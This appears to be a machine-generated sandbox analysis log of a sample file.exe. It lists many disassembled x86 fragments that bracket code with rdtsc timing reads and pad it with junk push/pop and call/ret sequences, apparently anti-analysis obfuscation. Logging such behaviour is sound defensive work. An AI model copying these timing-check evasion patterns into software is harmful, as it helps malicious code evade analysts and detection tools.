Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEC86 second address: AFEC92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEC92 second address: AFEC96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEC96 second address: AFECCF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23955E58DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f popad 0x00000010 nop 0x00000011 push 00000000h 0x00000013 mov edi, dword ptr [ebp+122D3237h] 0x00000019 push 00000000h 0x0000001b mov esi, 11D27224h 0x00000020 and edi, dword ptr [ebp+122D2C14h] 0x00000026 push eax 0x00000027 push ebx 0x00000028 pushad 0x00000029 jp 00007F23955E58D6h 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFF766 second address: AFF774 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F23955E276Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFF774 second address: AFF7F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007F23955E58E8h 0x0000000b nop 0x0000000c pushad 0x0000000d add edx, dword ptr [ebp+122D2E10h] 0x00000013 mov dword ptr [ebp+122D1BB3h], edi 0x00000019 popad 0x0000001a push 00000000h 0x0000001c jmp 00007F23955E58DCh 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push ebx 0x00000026 call 00007F23955E58D8h 0x0000002b pop ebx 0x0000002c mov dword ptr [esp+04h], ebx 0x00000030 add dword ptr [esp+04h], 00000017h 0x00000038 inc ebx 0x00000039 push ebx 0x0000003a ret 0x0000003b pop ebx 0x0000003c ret 0x0000003d add dword ptr [ebp+122D1A9Bh], eax 0x00000043 mov dword ptr [ebp+122D570Dh], edi 0x00000049 jmp 00007F23955E58E1h 0x0000004e push eax 0x0000004f pushad 0x00000050 push eax 0x00000051 push edx 0x00000052 jg 00007F23955E58D6h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B00C65 second address: B00C6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B00C6B second address: B00C6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B03244 second address: B03268 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23955E276Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push esi 0x0000000b pop esi 0x0000000c jmp 00007F23955E276Dh 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0600D second address: B06011 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B06011 second address: B0601B instructions: 0x00000000 rdtsc 0x00000002 jg 00007F23955E2766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07E4F second address: B07EBE instructions: 0x00000000 rdtsc 0x00000002 js 00007F23955E58DCh 0x00000008 ja 00007F23955E58D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007F23955E58D8h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 00000017h 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b mov bx, 3354h 0x0000002f push 00000000h 0x00000031 push esi 0x00000032 movzx edi, bx 0x00000035 pop edi 0x00000036 mov edi, dword ptr [ebp+124459D0h] 0x0000003c push 00000000h 0x0000003e mov bx, 137Fh 0x00000042 xchg eax, esi 0x00000043 jmp 00007F23955E58E2h 0x00000048 push eax 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007F23955E58E1h 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07EBE second address: B07EC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07EC2 second address: B07ECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07ECC second address: B07ED0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B08D78 second address: B08D82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F23955E58D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B08028 second address: B0803F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ecx 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f je 00007F23955E2766h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0803F second address: B08044 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B09F85 second address: B09F8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0D086 second address: B0D08C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0D08C second address: B0D0A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F23955E2772h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0D0A9 second address: B0D0AE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0D0AE second address: B0D10E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F23955E2768h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 push 00000000h 0x00000024 mov edi, esi 0x00000026 call 00007F23955E2771h 0x0000002b pop ebx 0x0000002c push 00000000h 0x0000002e xchg eax, esi 0x0000002f pushad 0x00000030 push ecx 0x00000031 jno 00007F23955E2766h 0x00000037 pop ecx 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F23955E2776h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0D10E second address: B0D112 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0D112 second address: B0D128 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 js 00007F23955E2772h 0x0000000e je 00007F23955E276Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0FF95 second address: B10004 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F23955E58D8h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 jmp 00007F23955E58E5h 0x0000002c mov edi, dword ptr [ebp+122D2BFBh] 0x00000032 push 00000000h 0x00000034 add bl, FFFFFFDCh 0x00000037 push 00000000h 0x00000039 pushad 0x0000003a jnl 00007F23955E58E8h 0x00000040 popad 0x00000041 xchg eax, esi 0x00000042 push edx 0x00000043 jnp 00007F23955E58DCh 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B110EB second address: B1118C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 nop 0x00000007 mov ebx, dword ptr [ebp+122D1936h] 0x0000000d push dword ptr fs:[00000000h] 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007F23955E2768h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 00000015h 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e mov dword ptr [ebp+1247B5FDh], esi 0x00000034 sbb bx, 8600h 0x00000039 jmp 00007F23955E276Ch 0x0000003e mov dword ptr fs:[00000000h], esp 0x00000045 push 00000000h 0x00000047 push ebx 0x00000048 call 00007F23955E2768h 0x0000004d pop ebx 0x0000004e mov dword ptr [esp+04h], ebx 0x00000052 add dword ptr [esp+04h], 00000018h 0x0000005a inc ebx 0x0000005b push ebx 0x0000005c ret 0x0000005d pop ebx 0x0000005e ret 0x0000005f mov dword ptr [ebp+122D1CDDh], ecx 0x00000065 mov eax, dword ptr [ebp+122D159Dh] 0x0000006b adc bh, 0000000Dh 0x0000006e push FFFFFFFFh 0x00000070 mov edi, dword ptr [ebp+122D1BFCh] 0x00000076 nop 0x00000077 jmp 00007F23955E2774h 0x0000007c push eax 0x0000007d push eax 0x0000007e push edx 0x0000007f push ebx 0x00000080 push eax 0x00000081 push edx 0x00000082 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1118C second address: B11191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B11191 second address: B1119B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F23955E276Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B13D99 second address: B13DA7 instructions: 0x00000000 rdtsc 0x00000002 js 00007F23955E58D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B13DA7 second address: B13DAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B13DAB second address: B13DAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B12EE9 second address: B12F8E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jns 00007F23955E2766h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F23955E2768h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 mov bx, dx 0x0000002c mov ebx, dword ptr [ebp+122D1BAEh] 0x00000032 push dword ptr fs:[00000000h] 0x00000039 push ebx 0x0000003a mov bx, F9B6h 0x0000003e pop ebx 0x0000003f mov dword ptr fs:[00000000h], esp 0x00000046 mov bx, 5AB7h 0x0000004a mov eax, dword ptr [ebp+122D01C9h] 0x00000050 mov dword ptr [ebp+12470948h], esi 0x00000056 push FFFFFFFFh 0x00000058 push 00000000h 0x0000005a push esi 0x0000005b call 00007F23955E2768h 0x00000060 pop esi 0x00000061 mov dword ptr [esp+04h], esi 0x00000065 add dword ptr [esp+04h], 00000017h 0x0000006d inc esi 0x0000006e push esi 0x0000006f ret 0x00000070 pop esi 0x00000071 ret 0x00000072 mov dword ptr [ebp+122D1BA9h], ebx 0x00000078 push eax 0x00000079 adc ebx, 343CBAB2h 0x0000007f pop edi 0x00000080 push eax 0x00000081 push eax 0x00000082 push edx 0x00000083 jmp 00007F23955E2774h 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B12F8E second address: B12F94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B14D8B second address: B14D8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B13EC8 second address: B13ECC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B14E6F second address: B14E75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B14E75 second address: B14E79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B14E79 second address: B14E7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18274 second address: B18278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18278 second address: B18288 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jbe 00007F23955E2766h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18288 second address: B18293 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F23955E58D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1E8F8 second address: B1E902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F23955E2766h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1E902 second address: B1E91B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F23955E58DDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1E91B second address: B1E933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F23955E2772h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1E933 second address: B1E938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1E938 second address: B1E93E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1E93E second address: B1E944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1E944 second address: B1E948 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1E49B second address: B1E4AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F23955E58DAh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1E4AC second address: B1E4C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F23955E2776h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1E4C8 second address: B1E4CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B22CAB second address: B22CAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B22CAF second address: B22CEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007F23955E58E2h 0x0000000f mov eax, dword ptr [eax] 0x00000011 jmp 00007F23955E58E9h 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a pushad 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2853E second address: B28557 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F23955E2773h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B28F07 second address: B28F0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B28F0B second address: B28F11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B29070 second address: B29074 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B291C8 second address: B291CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B29317 second address: B29340 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F23955E58DDh 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F23955E58E1h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B29340 second address: B2937B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23955E276Ah 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F23955E276Bh 0x00000011 pushad 0x00000012 popad 0x00000013 jno 00007F23955E2766h 0x00000019 popad 0x0000001a jmp 00007F23955E2772h 0x0000001f push eax 0x00000020 push edx 0x00000021 push esi 0x00000022 pop esi 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2CBC2 second address: B2CBC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2CBC6 second address: B2CBDF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F23955E2766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b pushad 0x0000000c push ebx 0x0000000d jbe 00007F23955E2766h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 pop ebx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABD87B second address: ABD8AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F23955E58DAh 0x00000009 ja 00007F23955E58D6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F23955E58E7h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABD8AB second address: ABD8AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31C5D second address: B31C63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31C63 second address: B31C6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31C6E second address: B31C72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B03F79 second address: ADD212 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007F23955E2774h 0x00000010 jmp 00007F23955E276Eh 0x00000015 popad 0x00000016 jng 00007F23955E276Ch 0x0000001c popad 0x0000001d nop 0x0000001e push 00000000h 0x00000020 push ebp 0x00000021 call 00007F23955E2768h 0x00000026 pop ebp 0x00000027 mov dword ptr [esp+04h], ebp 0x0000002b add dword ptr [esp+04h], 0000001Ah 0x00000033 inc ebp 0x00000034 push ebp 0x00000035 ret 0x00000036 pop ebp 0x00000037 ret 0x00000038 call dword ptr [ebp+122D1C91h] 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F23955E2772h 0x00000047 pushad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B040B8 second address: B040BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B04636 second address: B0463A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0463A second address: B04640 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B04640 second address: B04661 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007F23955E276Dh 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B04661 second address: B046B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F23947F2B06h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 pushad 0x00000012 pushad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 pushad 0x0000001a popad 0x0000001b pop eax 0x0000001c popad 0x0000001d pop eax 0x0000001e movsx edi, dx 0x00000021 mov dl, 56h 0x00000023 call 00007F23947F2AF9h 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F23947F2B06h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B046B6 second address: B046E8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F2394D2C4ABh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c ja 00007F2394D2C4B2h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 je 00007F2394D2C4B4h 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B046E8 second address: B046EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B04918 second address: B0491C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B04A06 second address: B04A0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B04A0C second address: B04A10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B04B0D second address: B04B11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B04E19 second address: B04E1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B04E1F second address: B04E2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B04E2C second address: B04E30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
